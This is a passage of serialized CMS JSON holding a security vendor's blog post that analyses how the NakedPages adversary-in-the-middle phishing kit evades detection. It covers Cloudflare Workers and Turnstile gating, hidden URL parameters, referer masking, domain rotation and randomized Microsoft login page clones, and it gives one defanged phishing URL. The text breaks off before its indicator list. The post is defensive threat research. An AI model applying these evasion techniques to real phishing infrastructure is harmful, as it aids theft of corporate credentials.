Type":865},{},[],{"data":141826,"content":141827,"nodeType":972},{},[],{"data":141829,"content":141830,"nodeType":1317},{},[141831],{"data":141832,"marks":141833,"value":134910,"nodeType":865},{},[141834],{"type":926},{"data":141836,"content":141837,"nodeType":866},{},[141838],{"data":141839,"marks":141840,"value":134917,"nodeType":865},{},[],{"data":141842,"content":141843,"nodeType":866},{},[141844],{"data":141845,"marks":141846,"value":134924,"nodeType":865},{},[],{"data":141848,"content":141851,"nodeType":912},{"target":141849},{"sys":141850},{"id":134929,"type":909,"linkType":910},[],{"data":141853,"content":141854,"nodeType":866},{},[141855],{"data":141856,"marks":141857,"value":134937,"nodeType":865},{},[],{"data":141859,"content":141860,"nodeType":866},{},[141861,141864,141871],{"data":141862,"marks":141863,"value":134944,"nodeType":865},{},[],{"data":141865,"content":141866,"nodeType":889},{"uri":134947},[141867],{"data":141868,"marks":141869,"value":134953,"nodeType":865},{},[141870],{"type":943},{"data":141872,"marks":141873,"value":134957,"nodeType":865},{},[],{"data":141875,"content":141876,"nodeType":866},{},[141877,141880,141887,141890,141897],{"data":141878,"marks":141879,"value":134964,"nodeType":865},{},[],{"data":141881,"content":141882,"nodeType":889},{"uri":134967},[141883],{"data":141884,"marks":141885,"value":134973,"nodeType":865},{},[141886],{"type":943},{"data":141888,"marks":141889,"value":134977,"nodeType":865},{},[],{"data":141891,"content":141892,"nodeType":889},{"uri":134980},[141893],{"data":141894,"marks":141895,"value":134986,"nodeType":865},{},[141896],{"type":943},{"data":141898,"marks":141899,"value":134990,"nodeType":865},{},[],{"data":141901,"content":141902,"nodeType":866},{},[141903],{"data":141904,"marks":141905,"value":134997,"nodeType":865},{},[],{"data":141907,"content":141908,"nodeType":972},{},[],{"data":141910,"content":141911,"nodeType":1317},{},[141912],{"data":141913,"marks":141914,"value":135008,"nodeType":865},{},[141915],{"type":926},{"data":141917,"content":141918,"nodeType":866},{},[141919],{"data":141920,"marks":141921,"value":135015,"nodeType":865},{},[],{"data":141923,"content":141924,"nodeType":866},{},[141925],{"data":141926,"marks":141927,"value":135022,"nodeType":865},{},[],{"data":141929,"content":141932,"nodeType":912},{"target":141930},{"sys":141931},{"id":135027,"type":909,"linkType":910},[],{"data":141934,"content":141935,"nodeType":866},{},[141936],{"data":141937,"marks":141938,"value":135035,"nodeType":865},{},[],{"data":141940,"content":141941,"nodeType":866},{},[141942],{"data":141943,"marks":141944,"value":135042,"nodeType":865},{},[],{"data":141946,"content":141947,"nodeType":866},{},[141948],{"data":141949,"marks":141950,"value":135049,"nodeType":865},{},[],{"data":141952,"content":141955,"nodeType":912},{"target":141953},{"sys":141954},{"id":134564,"type":909,"linkType":910},[],{"data":141957,"content":141958,"nodeType":866},{},[141959],{"data":141960,"marks":141961,"value":135061,"nodeType":865},{},[],{"data":141963,"content":141966,"nodeType":912},{"target":141964},{"sys":141965},{"id":135066,"type":909,"linkType":910},[],{"data":141968,"content":141969,"nodeType":866},{},[141970],{"data":141971,"marks":141972,"value":135074,"nodeType":865},{},[],{"data":141974,"content":141975,"nodeType":972},{},[],{"data":141977,"content":141978,"nodeType":981},{},[141979],{"data":141980,"marks":141981,"value":25229,"nodeType":865},{},[141982],{"type":926},{"data":141984,"content":141985,"nodeType":866},{},[141986],{"data":141987,"marks":141988,"value":135091,"nodeType":865},{},[],{"data":141990,"content":141991,"nodeType":866},{},[141992],{"data":141993,"marks":141994,"value":135098,"nodeType":865},{},[],{"data":141996,"content":141997,"nodeType":972},{},[],{"data":141999,"content":142000,"nodeType":981},{},[142001],{"data":142002,"marks":142003,"value":135109,"nodeType":865},{},[142004],{"type":926},{"data":142006,"content":142007,"nodeType":866},{},[142008],{"data":142009,"marks":142010,"value":135116,"nodeType":865},{},[],{"data":142012,"content":142013,"nodeType":866},{},[142014],{"data":142015,"marks":142016,"value":135123,"nodeType":865},{},[],{"data":142018,"content":142019,"nodeType":866},{},[142020],{"data":142021,"marks":142022,"value":135130,"nodeType":865},{},[],{"data":142024,"content":142025,"nodeType":972},{},[],{"data":142027,"content":142028,"nodeType":1317},{},[142029],{"data":142030,"marks":142031,"value":135141,"nodeType":865},{},[142032],{"type":926},{"data":142034,"content":142035,"nodeType":866},{},[142036],{"data":142037,"marks":142038,"value":135148,"nodeType":865},{},[],{"data":142040,"content":142041,"nodeType":866},{},[142042],{"data":142043,"marks":142044,"value":135155,"nodeType":865},{},[],{"data":142046,"content":142047,"nodeType":866},{},[142048],{"data":142049,"marks":142050,"value":135162,"nodeType":865},{},[],{"data":142052,"content":142053,"nodeType":866},{},[142054],{"data":142055,"marks":142056,"value":135169,"nodeType":865},{},[],{"data":142058,"content":142059,"nodeType":866},{},[142060],{"data":142061,"marks":142062,"value":135176,"nodeType":865},{},[],{"data":142064,"content":142067,"nodeType":912},{"target":142065},{"sys":142066},{"id":125915,"type":909,"linkType":910},[],{"data":142069,"content":142070,"nodeType":866},{},[142071],{"data":142072,"marks":142073,"value":135188,"nodeType":865},{},[],{"data":142075,"content":142076,"nodeType":866},{},[142077],{"data":142078,"marks":142079,"value":135195,"nodeType":865},{},[],{"data":142081,"content":142084,"nodeType":912},{"target":142082},{"sys":142083},{"id":125951,"type":909,"linkType":910},[],{"data":142086,"content":142087,"nodeType":866},{},[142088],{"data":142089,"marks":142090,"value":135207,"nodeType":865},{},[],{"data":142092,"content":142093,"nodeType":1616},{},[142094,142103,142112],{"data":142095,"content":142096,"nodeType":1570},{},[142097],{"data":142098,"content":142099,"nodeType":866},{},[142100],{"data":142101,"marks":142102,"value":135220,"nodeType":865},{},[],{"data":142104,"content":142105,"nodeType":1570},{},[142106],{"data":142107,"content":142108,"nodeType":866},{},[142109],{"data":142110,"marks":142111,"value":135230,"nodeType":865},{},[],{"data":142113,"content":142114,"nodeType":1570},{},[142115],{"data":142116,"content":142117,"nodeType":866},{},[142118],{"data":142119,"marks":142120,"value":125310,"nodeType":865},{},[],{"data":142122,"content":142123,"nodeType":866},{},[142124],{"data":142125,"marks":142126,"value":125317,"nodeType":865},{},[],{"data":142128,"content":142129,"nodeType":866},{},[142130,142133],{"data":142131,"marks":142132,"value":135252,"nodeType":865},{},[],{"data":142134,"marks":142135,"value":135257,"nodeType":865},{},[142136],{"type":926},{"data":142138,"content":142139,"nodeType":866},{},[142140,142143,142150],{"data":142141,"marks":142142,"value":135264,"nodeType":865},{},[],{"data":142144,"content":142145,"nodeType":889},{"uri":135267},[142146],{"data":142147,"marks":142148,"value":135273,"nodeType":865},{},[142149],{"type":943},{"data":142151,"marks":142152,"value":135277,"nodeType":865},{},[],{"data":142154,"content":142157,"nodeType":912},{"target":142155},{"sys":142156},{"id":135282,"type":909,"linkType":910},[],{"data":142159,"content":142160,"nodeType":972},{},[],{"data":142162,"content":142163,"nodeType":981},{},[142164],{"data":142165,"marks":142166,"value":105586,"nodeType":865},{},[142167],{"type":926},{"data":142169,"content":142170,"nodeType":866},{},[142171],{"data":142172,"marks":142173,"value":124090,"nodeType":865},{},[],{"data":142175,"content":142176,"nodeType":866},{},[142177,142180,142187],{"data":142178,"marks":142179,"value":104093,"nodeType":865},{},[],{"data":142181,"content":142182,"nodeType":889},{"uri":134677},[142183],{"data":142184,"marks":142185,"value":105607,"nodeType":865},{},[142186],{"type":943},{"data":142188,"marks":142189,"value":135316,"nodeType":865},{},[],{"entries":142191},{"hyperlink":142192,"inline":142193,"block":142194},[],[],[142195,142203,142209,142216,142221,142228,142235,142243,142249],{"sys":142196,"__typename":1390,"title":142197,"caption":142198,"layoutMode":59,"file":142199},{"id":134748},"Source: 2024 Trends in Identity Security - Identity Defined Security Alliance (IDSA)","Source: 2024 Trends in Identity Security – Identity Defined Security Alliance (IDSA)",{"url":142200,"width":142201,"height":142202},"https://images.ctfassets.net/y1cdw1ablpvd/4wcIXJu4Yhq7lHZuGbX1w0/b097fff859f61a0e853f8a10e2d838aa/image7.png",1730,782,{"sys":142204,"__typename":1390,"title":142205,"caption":142206,"layoutMode":59,"file":142207},{"id":134884},"Evilginx screenshot - email controls blog","Evilginx being used to take over an M365 account",{"url":142208,"width":1402,"height":68720},"https://images.ctfassets.net/y1cdw1ablpvd/4fhOQ0Vohnrd8X0WaJkXDZ/82832b1f912717ca3782d9163daa8781/3.png",{"sys":142210,"__typename":1390,"title":142211,"caption":142212,"layoutMode":59,"file":142213},{"id":134929},"Pyramid of Pain: Original","Original Pyramid of Pain model, created by David Bianco.",{"url":142214,"width":47178,"height":142215},"https://images.ctfassets.net/y1cdw1ablpvd/7dPJT7PYKX71FCCi0GeDzg/16fb3b07959612a45c1b7636da33e541/image3.png",405,{"sys":142217,"__typename":1390,"title":142218,"caption":142219,"layoutMode":59,"file":142220},{"id":135027},"Turnstile requiring human interaction","Cloudflare Turnstile requiring human interaction",{"url":134188,"width":134189,"height":134190},{"sys":142222,"__typename":1390,"title":142223,"caption":142223,"layoutMode":59,"file":142224},{"id":134564},"Comparing a legitimate page’s DOM structure with an attacker’s cloned page",{"url":142225,"width":142226,"height":142227},"https://images.ctfassets.net/y1cdw1ablpvd/4HmklQ1H0YIMlNdTkZR8B0/e2e727d9d96867b9d46e35bf097f7a0f/6.png",1875,562,{"sys":142229,"__typename":1390,"title":142230,"caption":142231,"layoutMode":59,"file":142232},{"id":135066},"Comparing a fake and real M365 login page","The left image is a fake login page — looks pretty believable though, right?",{"url":142233,"width":1402,"height":142234},"https://images.ctfassets.net/y1cdw1ablpvd/4piMCOgm2TgWBiKjyjL0Tw/d0a7ab35f9173f639b8454215536938e/7.png",871,{"sys":142236,"__typename":1390,"title":142237,"caption":142238,"layoutMode":59,"file":142239},{"id":125915},"Phishing detection without Push","Phishing detection: Without Push (it's not looking good...)",{"url":142240,"width":142241,"height":142242},"https://images.ctfassets.net/y1cdw1ablpvd/1oBYz6u0WH0gMnd89bkZjU/61bf589f62b898b91e4f8045caf1d4e1/Phishing_detection_without_Push__3_.png",1535,764,{"sys":142244,"__typename":1390,"title":142245,"caption":142246,"layoutMode":59,"file":142247},{"id":125951},"Phishing detection: With Push","Phishing detection: With Push (Pow! Take that attacker)",{"url":142248,"width":142241,"height":142242},"https://images.ctfassets.net/y1cdw1ablpvd/7lxmav3wYkltbFp3N9KeIQ/06080c5b629590fe3551cf5944f011ec/Phishing_detection_with_Push__2_.png",{"sys":142250,"__typename":1390,"title":142251,"caption":142252,"layoutMode":59,"file":142253},{"id":135282},"Updated Pyramid of Pain (IoCs and TTPs)","Applying the Pyramid of Pain to identity-based attacks",{"url":142254,"width":1402,"height":142255},"https://images.ctfassets.net/y1cdw1ablpvd/7kfzRw2EuOtDbaDTIQI7r0/8304e44e0feb903e8db3bbdf12243d76/10.png",1477,{"items":142257},[],{},"Moving beyond email-based phishing prevention",{"url":142261},"https://images.ctfassets.net/y1cdw1ablpvd/5D3plIXabnqgyWWtxOXjHp/985db5f050236a3cfb7051dc873a39e2/1_-_Thumbnail.png",{"items":142263},[142264,142843,143858],{"__typename":1429,"sys":142265,"content":142267,"title":142829,"synopsis":142830,"hashTags":59,"publishedDate":142831,"slug":142832,"tagsCollection":142833,"authorsCollection":142839},{"id":142266},"11C3shj5SlkS8sAd3AlYDp",{"json":142268},{"data":142269,"content":142270,"nodeType":1382},{},[142271,142290,142309,142316,142322,142329,142336,142343,142350,142358,142377,142384,142391,142398,142403,142410,142442,142449,142456,142463,142470,142476,142483,142490,142497,142528,142534,142541,142548,142579,142585,142592,142599,142606,142613,142619,142625,142632,142639,142646,142652,142659,142666,142673,142680,142699,142715,142721,142728,142735,142741,142748,142767,142773,142780,142807,142814,142821],{"data":142272,"content":142273,"nodeType":866},{},[142274,142278,142286],{"data":142275,"marks":142276,"value":142277,"nodeType":865},{},[],"It’s been well reported that ",{"data":142279,"content":142280,"nodeType":889},{"uri":127868},[142281],{"data":142282,"marks":142283,"value":142285,"nodeType":865},{},[142284],{"type":943},"identity attacks are on the rise",{"data":142287,"marks":142288,"value":142289,"nodeType":865},{},[],", and constantly evolving phishing tools and techniques are a big part of this. In particular, the increasing prevalence of MFA has led to AitM phishing attacks becoming much more common. The threat intelligence industry naturally wants to locate and shutdown all the phishing servers – but the phishers are fighting back.",{"data":142291,"content":142292,"nodeType":866},{},[142293,142297,142305],{"data":142294,"marks":142295,"value":142296,"nodeType":865},{},[],"Before we dive into how AitM phishing kits evade detection, you should check out our earlier blog post on ‘",{"data":142298,"content":142299,"nodeType":889},{"uri":54386},[142300],{"data":142301,"marks":142302,"value":142304,"nodeType":865},{},[142303],{"type":943},"Phishing 2.0 – how phishing toolkits are evolving with AitM",{"data":142306,"marks":142307,"value":142308,"nodeType":865},{},[],"’ if you want to get up to speed with what these toolkits are, and why attackers are using them more regularly. ",{"data":142310,"content":142311,"nodeType":866},{},[142312],{"data":142313,"marks":142314,"value":142315,"nodeType":865},{},[],"In this blog post, we’re going to look at a recent instance of the NakedPages AitM phishing toolkit and some of the steps it takes to frustrate detection and analysis. In particular, we’ll look at how malicious activity is obfuscated through the use of legitimate SaaS services. NakedPages uses a range of different techniques and so serves as a good case study as to how AitM toolkits are being designed to evade detection.",{"data":142317,"content":142321,"nodeType":912},{"target":142318},{"sys":142319},{"id":142320,"type":909,"linkType":910},"2Qcn2nNRXVkdqqxGO8lDZf",[],{"data":142323,"content":142324,"nodeType":866},{},[142325],{"data":142326,"marks":142327,"value":142328,"nodeType":865},{},[],"Before we dive in, it’s useful to keep in mind that while there is a lot of complication here, most of this happens in seconds and is transparent to the intended victim accessing from a real browser.",{"data":142330,"content":142331,"nodeType":981},{},[142332],{"data":142333,"marks":142334,"value":142335,"nodeType":865},{},[],"Step 1: Cloudflare Workers for the initial gateway",{"data":142337,"content":142338,"nodeType":866},{},[142339],{"data":142340,"marks":142341,"value":142342,"nodeType":865},{},[],"A key feature of the NakedPages kit is that it has several stages and redirections and, in order for it to operate as intended, the target has to arrive at the beginning. The first step involves visiting a URL that is simply a Cloudflare Worker. Cloudflare Workers are a serverless execution environment, a bit like AWS lambdas.",{"data":142344,"content":142345,"nodeType":866},{},[142346],{"data":142347,"marks":142348,"value":142349,"nodeType":865},{},[],"The benefit to the attacker is that this gives them a highly reputable primary domain as it is one owned and operated by Cloudflare. Flagging recently registered or uncategorized/rare domains for further analysis won’t work for this. For example, the URL used in this instance was the following:",{"data":142351,"content":142352,"nodeType":866},{},[142353],{"data":142354,"marks":142355,"value":142357,"nodeType":865},{},[142356],{"type":70418},"hxxps://226028cc.502f135e3e036e726fba22d4.workers.dev",{"data":142359,"content":142360,"nodeType":866},{},[142361,142365,142374],{"data":142362,"marks":142363,"value":142364,"nodeType":865},{},[],"For other examples of Cloudflare Workers being abused for phishing, ",{"data":142366,"content":142368,"nodeType":889},{"uri":142367},"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/its-raining-phish-and-scams-how-cloudflare-pages-dev-and-workers-dev-domains-get-abused/",[142369],{"data":142370,"marks":142371,"value":142373,"nodeType":865},{},[142372],{"type":943},"check out this blog post from Trustwave",{"data":142375,"marks":142376,"value":1615,"nodeType":865},{},[],{"data":142378,"content":142379,"nodeType":981},{},[142380],{"data":142381,"marks":142382,"value":142383,"nodeType":865},{},[],"Step 2: Cloudflare Turnstile for bot detection",{"data":142385,"content":142386,"nodeType":866},{},[142387],{"data":142388,"marks":142389,"value":142390,"nodeType":865},{},[],"The only purpose of the Cloudflare Worker is to act as a bot gateway to prevent automated analysis getting further than this point. For this it uses Cloudflare Turnstile. Turnstile is a highly effective tool for detecting the difference between bots and human users as a replacement for CAPTCHAs used by websites across the world. ",{"data":142392,"content":142393,"nodeType":866},{},[142394],{"data":142395,"marks":142396,"value":142397,"nodeType":865},{},[],"If it doesn’t work transparently then you’ll probably see something like this:",{"data":142399,"content":142402,"nodeType":912},{"target":142400},{"sys":142401},{"id":135027,"type":909,"linkType":910},[],{"data":142404,"content":142405,"nodeType":866},{},[142406],{"data":142407,"marks":142408,"value":142409,"nodeType":865},{},[],"However, who else wants to keep out the bots? Well, phishers of course! There are many sandbox environments and other automated platforms out there, visiting every URL they come across in the search for malicious behavior. This stops many of them in their tracks as they never get past the Turnstile check. ",{"data":142411,"content":142412,"nodeType":866},{},[142413,142417,142426,142430,142439],{"data":142414,"marks":142415,"value":142416,"nodeType":865},{},[],"Malicious use of Turnstile use has become much more common now. Examples include other criminal kits ",{"data":142418,"content":142420,"nodeType":889},{"uri":142419},"https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/",[142421],{"data":142422,"marks":142423,"value":142425,"nodeType":865},{},[142424],{"type":943},"such as Tycoon",{"data":142427,"marks":142428,"value":142429,"nodeType":865},{},[],", as well as ",{"data":142431,"content":142433,"nodeType":889},{"uri":142432},"https://fin3ss3g0d.net/index.php/2024/04/08/evilgophishs-approach-to-advanced-bot-detection-with-cloudflare-turnstile/",[142434],{"data":142435,"marks":142436,"value":142438,"nodeType":865},{},[142437],{"type":943},"open-source phishing tools focused on red teaming",{"data":142440,"marks":142441,"value":6719,"nodeType":865},{},[],{"data":142443,"content":142444,"nodeType":981},{},[142445],{"data":142446,"marks":142447,"value":142448,"nodeType":865},{},[],"Step 3: Required URL parameters and custom auth headers",{"data":142450,"content":142451,"nodeType":866},{},[142452],{"data":142453,"marks":142454,"value":142455,"nodeType":865},{},[],"If you get past Turnstile, then you’ll finally be redirected to a more conventionally suspicious domain. However, you’ll need to supply the correct URL parameters and headers, or that request might behave differently. ",{"data":142457,"content":142458,"nodeType":866},{},[142459],{"data":142460,"marks":142461,"value":142462,"nodeType":865},{},[],"Suspicious domains can be found and interrogated through other means, such as observing new domain registrations or certificate transparency logs. In this case, the phishers add other steps involving required URL parameters and custom headers. This means that a defender who knows the domain name can’t discover the malicious behavior just by making a simple HTTP(S) request to the domain.",{"data":142464,"content":142465,"nodeType":866},{},[142466],{"data":142467,"marks":142468,"value":142469,"nodeType":865},{},[],"The following code snippet shows how this operates. Bonus points for spotting how they actually forgot to implement their own RSA encryption function and instead send their “encrypted” user agents in clear text:",{"data":142471,"content":142475,"nodeType":912},{"target":142472},{"sys":142473},{"id":142474,"type":909,"linkType":910},"45aif31bot9phquQPkz20p",[],{"data":142477,"content":142478,"nodeType":981},{},[142479],{"data":142480,"marks":142481,"value":142482,"nodeType":865},{},[],"Step 4: Requiring JavaScript execution",{"data":142484,"content":142485,"nodeType":866},{},[142486],{"data":142487,"marks":142488,"value":142489,"nodeType":865},{},[],"Another aspect of the previous step is that it requires JavaScript to execute. That means defensive techniques that simply make HTTP(S) requests and scrape content will not automatically be able to follow the link without allowing JavaScript execution. This forces the use of dynamic sandbox techniques that actually load a DOM, as it’s almost impossible for static analysis to generically solve this problem.",{"data":142491,"content":142492,"nodeType":981},{},[142493],{"data":142494,"marks":142495,"value":142496,"nodeType":865},{},[],"Step 5: Redirecting to legitimate domains",{"data":142498,"content":142499,"nodeType":866},{},[142500,142504,142512,142516,142525],{"data":142501,"marks":142502,"value":142503,"nodeType":865},{},[],"Attackers will also redirect to legitimate domains to mask their activity. Let’s say a defender has visited the attacker’s malicious domain without executing JavaScript or supplying the correct URL parameters. The attacker doesn’t want to activate their malicious phishing behavior at this point, so they need to do something benign instead. In this case, they simply redirect to ",{"data":142505,"content":142507,"nodeType":889},{"uri":142506},"https://example.com",[142508],{"data":142509,"marks":142510,"value":142506,"nodeType":865},{},[142511],{"type":943},{"data":142513,"marks":142514,"value":142515,"nodeType":865},{},[],". Interestingly, ",{"data":142517,"content":142519,"nodeType":889},{"uri":142518},"https://www.youtube.com/watch?v=-W-LxcbUxI4&t=643s",[142520],{"data":142521,"marks":142522,"value":142524,"nodeType":865},{},[142523],{"type":943},"EvilProxy has also been seen redirecting to example.com too",{"data":142526,"marks":142527,"value":84015,"nodeType":865},{},[],{"data":142529,"content":142533,"nodeType":912},{"target":142530},{"sys":142531},{"id":142532,"type":909,"linkType":910},"450Y7W1uXVkKSps5y0xhBe",[],{"data":142535,"content":142536,"nodeType":981},{},[142537],{"data":142538,"marks":142539,"value":142540,"nodeType":865},{},[],"Step 6: HTTP referer header masking",{"data":142542,"content":142543,"nodeType":866},{},[142544],{"data":142545,"marks":142546,"value":142547,"nodeType":865},{},[],"Maintainers of legitimate websites often look at the HTTP referer header to see where they are being linked from. This is often a critical task for businesses, particularly for things like marketing. However, what if employees spot strange redirects coming in from suspicious looking domains like the ones used by this phishing kit? Perhaps they might investigate those domains and/or tip off relevant security vendors and organizations. ",{"data":142549,"content":142550,"nodeType":866},{},[142551,142555,142563,142567,142575],{"data":142552,"marks":142553,"value":142554,"nodeType":865},{},[],"Unless, of course, you were to use a service to mask the HTTP referrer – which is exactly what the phishing kit does in this case. NakedPages makes use of ",{"data":142556,"content":142558,"nodeType":889},{"uri":142557},"https://href.li/",[142559],{"data":142560,"marks":142561,"value":142557,"nodeType":865},{},[142562],{"type":943},{"data":142564,"marks":142565,"value":142566,"nodeType":865},{},[]," as a service to strip the referral to ensure the redirection is performed anonymously. Rather conveniently, it seems the default example that ",{"data":142568,"content":142570,"nodeType":889},{"uri":142569},"https://href.li",[142571],{"data":142572,"marks":142573,"value":142569,"nodeType":865},{},[142574],{"type":943},{"data":142576,"marks":142577,"value":142578,"nodeType":865},{},[]," uses is… example.com:",{"data":142580,"content":142584,"nodeType":912},{"target":142581},{"sys":142582},{"id":142583,"type":909,"linkType":910},"78xFQwTG1r0YWGJ24iEdYP",[],{"data":142586,"content":142587,"nodeType":981},{},[142588],{"data":142589,"marks":142590,"value":142591,"nodeType":865},{},[],"Step 7: Loading balanced domains",{"data":142593,"content":142594,"nodeType":866},{},[142595],{"data":142596,"marks":142597,"value":142598,"nodeType":865},{},[],"You’re probably thinking: Step 7? Surely, if a victim’s browser has finally made it this far then the attackers would just serve up the malicious phishing content at this point, right? Well, we aren’t quite done yet. These initial gateway servers are one of the most important components to keep undetected, as existing phishing campaigns and (as yet unread) emails will be leading to them.",{"data":142600,"content":142601,"nodeType":866},{},[142602],{"data":142603,"marks":142604,"value":142605,"nodeType":865},{},[],"Once we get to the more obviously malicious phishing activity, there is a higher chance of detection and user reports. In this case the phishing kit actually retrieves a new URL to redirect to, along with a suitable JWT authentication parameter. The benefit of this is that when URLs/hostnames get flagged as malicious, blocked or otherwise taken down, the phishing kit can just redirect to other hostnames, and the attacker’s can keep updating with new URLs over time. ",{"data":142607,"content":142608,"nodeType":866},{},[142609],{"data":142610,"marks":142611,"value":142612,"nodeType":865},{},[],"Below we can see an example of the response containing a URL, with a JWT auth parameter:",{"data":142614,"content":142618,"nodeType":912},{"target":142615},{"sys":142616},{"id":142617,"type":909,"linkType":910},"4NpH7V5oEdTASNNJsqCJ47",[],{"data":142620,"content":142624,"nodeType":912},{"target":142621},{"sys":142622},{"id":142623,"type":909,"linkType":910},"7oqkrhNXtyOlJMEz0BZyLo",[],{"data":142626,"content":142627,"nodeType":866},{},[142628],{"data":142629,"marks":142630,"value":142631,"nodeType":865},{},[],"Automating this request in this example brings back around 20 different primary domains used for the final phishing attack. These domains are rotated over time as some are blocked and new ones are created.",{"data":142633,"content":142634,"nodeType":981},{},[142635],{"data":142636,"marks":142637,"value":142638,"nodeType":865},{},[],"Step 8: Breaking login page signatures",{"data":142640,"content":142641,"nodeType":866},{},[142642],{"data":142643,"marks":142644,"value":142645,"nodeType":865},{},[],"If all the previous checks have passed then a victim user is finally presented with a phishing page. The attacker has most closely emulated the sign-on page for live.com for Outlook in this case, though it also has some aspects from a business Microsoft login too, as we can see in the examples below:",{"data":142647,"content":142651,"nodeType":912},{"target":142648},{"sys":142649},{"id":142650,"type":909,"linkType":910},"2Ez0fgAlmkrisdQGWfL6CV",[],{"data":142653,"content":142654,"nodeType":866},{},[142655],{"data":142656,"marks":142657,"value":142658,"nodeType":865},{},[],"However, one obvious change can be seen in the HTML title in the tab header. This normally says something like “Sign in to Outlook” or “Sign in to your account”. In this case, the phishing kit has randomized the HTML title. \n\nOne super easy way to detect websites pretending to be common login pages that have 1:1 cloned the website or are performing full reverse proxy AiTM techniques would be to search for obvious HTML content like this. Not many legitimate websites should have an HTML title of “Sign in to Outlook” other than Microsoft’s own legitimate domains for it, right?",{"data":142660,"content":142661,"nodeType":866},{},[142662],{"data":142663,"marks":142664,"value":142665,"nodeType":865},{},[],"Taking a closer look, we’ll see that the HTML, DOM and JavaScript etc. differ quite significantly from the true login pages, even if the visual appearance is very similar. One reason for this is to make it harder for defenders to simply signature on specific aspects of commonly spoofed login pages.",{"data":142667,"content":142668,"nodeType":981},{},[142669],{"data":142670,"marks":142671,"value":142672,"nodeType":865},{},[],"Step 9: B2B targeting",{"data":142674,"content":142675,"nodeType":866},{},[142676],{"data":142677,"marks":142678,"value":142679,"nodeType":865},{},[],"The final interesting aspect of this particular example is that it modifies its behavior during the login process depending on whether a personal Microsoft account or an organization account is used.",{"data":142681,"content":142682,"nodeType":866},{},[142683,142687,142695],{"data":142684,"marks":142685,"value":142686,"nodeType":865},{},[],"When entering an email address associated with a personal Microsoft account, or picking ‘personal account’ when prompted after entering an email address that is used for both purposes, the server will return a 302 redirect and send the user to ",{"data":142688,"content":142690,"nodeType":889},{"uri":142689},"https://login.live.com/",[142691],{"data":142692,"marks":142693,"value":142689,"nodeType":865},{},[142694],{"type":943},{"data":142696,"marks":142697,"value":142698,"nodeType":865},{},[]," where they can then re-enter their credentials and login to Microsoft legitimately if they continue. This reduces the potential for detection further as no AitM phishing login will actually occur.",{"data":142700,"content":142701,"nodeType":866},{},[142702,142706,142711],{"data":142703,"marks":142704,"value":142705,"nodeType":865},{},[],"On the other hand, when using an organization account the phishing process continues as expected. ",{"data":142707,"marks":142708,"value":142710,"nodeType":865},{},[142709],{"type":926},"This phishing campaign is exclusively targeting corp accounts",{"data":142712,"marks":142713,"value":142714,"nodeType":865},{},[]," and you could almost say it has a B2B (or is that A2B?) rather than B2C business model.  ",{"data":142716,"content":142717,"nodeType":981},{},[142718],{"data":142719,"marks":142720,"value":57175,"nodeType":865},{},[],{"data":142722,"content":142723,"nodeType":866},{},[142724],{"data":142725,"marks":142726,"value":142727,"nodeType":865},{},[],"As you may have guessed from the extremely suspicious domains in use and examples of sloppy coding (like forgetting to implement an encryption function) the NakedPages kit is far from sophisticated. Despite this, the tricks that attackers are using to make detection and analysis more difficult seem to be quite effective when used in a layered model. ",{"data":142729,"content":142730,"nodeType":866},{},[142731],{"data":142732,"marks":142733,"value":142734,"nodeType":865},{},[],"For example, at the time of writing this particular Worker had been up for at least two days and was currently only triggering 1 detection on VirusTotal. ",{"data":142736,"content":142740,"nodeType":912},{"target":142737},{"sys":142738},{"id":142739,"type":909,"linkType":910},"1mIOpDtmgcMasK6dEhRHsm",[],{"data":142742,"content":142743,"nodeType":866},{},[142744],{"data":142745,"marks":142746,"value":142747,"nodeType":865},{},[],"One key takeaway is that it’s near impossible to stay on top of all the phishing servers on the internet. Even the untargeted mass campaigns will initially be missed by TI feeds, let alone the targeted ones. ",{"data":142749,"content":142750,"nodeType":866},{},[142751,142755,142763],{"data":142752,"marks":142753,"value":142754,"nodeType":865},{},[],"The best foot forward for resilience against these attacks is through the use of domain-bound MFA methods like WebAuthn. Common MFA methods like OTPs, SMS, push notifications etc. are routinely bypassed using ",{"data":142756,"content":142757,"nodeType":889},{"uri":54386},[142758],{"data":142759,"marks":142760,"value":142762,"nodeType":865},{},[142761],{"type":943},"AitM techniques that proxy the MFA authentication as well",{"data":142764,"marks":142765,"value":142766,"nodeType":865},{},[],". Even if you are one of the few who use phishing-resistant MFA methods like WebAuthn or other passkeys, the devil is in the detail and we’ve seen MFA downgrade attacks being used to bypass them by choosing a phishable method that’s also active.",{"data":142768,"content":142772,"nodeType":912},{"target":142769},{"sys":142770},{"id":142771,"type":909,"linkType":910},"17lSgRFD6fDzRUn9eOHJg6",[],{"data":142774,"content":142775,"nodeType":981},{},[142776],{"data":142777,"marks":142778,"value":142779,"nodeType":865},{},[],"P.S. How did we detect this?",{"data":142781,"content":142782,"nodeType":866},{},[142783,142787,142792,142796,142804],{"data":142784,"marks":142785,"value":142786,"nodeType":865},{},[],"After all that, you might be wondering how we managed to automate a process to generically pass through all these detection evasion techniques – ",{"data":142788,"marks":142789,"value":142791,"nodeType":865},{},[142790],{"type":926},"well the short answer is: We didn’t.",{"data":142793,"marks":142794,"value":142795,"nodeType":865},{},[]," Instead, we detected the act of an employee ",{"data":142797,"content":142798,"nodeType":889},{"uri":67859},[142799],{"data":142800,"marks":142801,"value":142803,"nodeType":865},{},[142802],{"type":943},"attempting to put their Microsoft password into a website that wasn’t Microsoft",{"data":142805,"marks":142806,"value":1615,"nodeType":865},{},[],{"data":142808,"content":142809,"nodeType":866},{},[142810],{"data":142811,"marks":142812,"value":142813,"nodeType":865},{},[],"The TTP for phishing is effectively “trick someone into putting their valid credentials into the wrong site” – so detecting that behavior directly (the action of entering a legit password into the wrong site) can be a lot simpler and more effective than playing the cat-and-mouse detection → detection-evasion game.",{"data":142815,"content":142816,"nodeType":866},{},[142817],{"data":142818,"marks":142819,"value":142820,"nodeType":865},{},[],"Having said that, if you’re interested, here are the domain IOCs for this 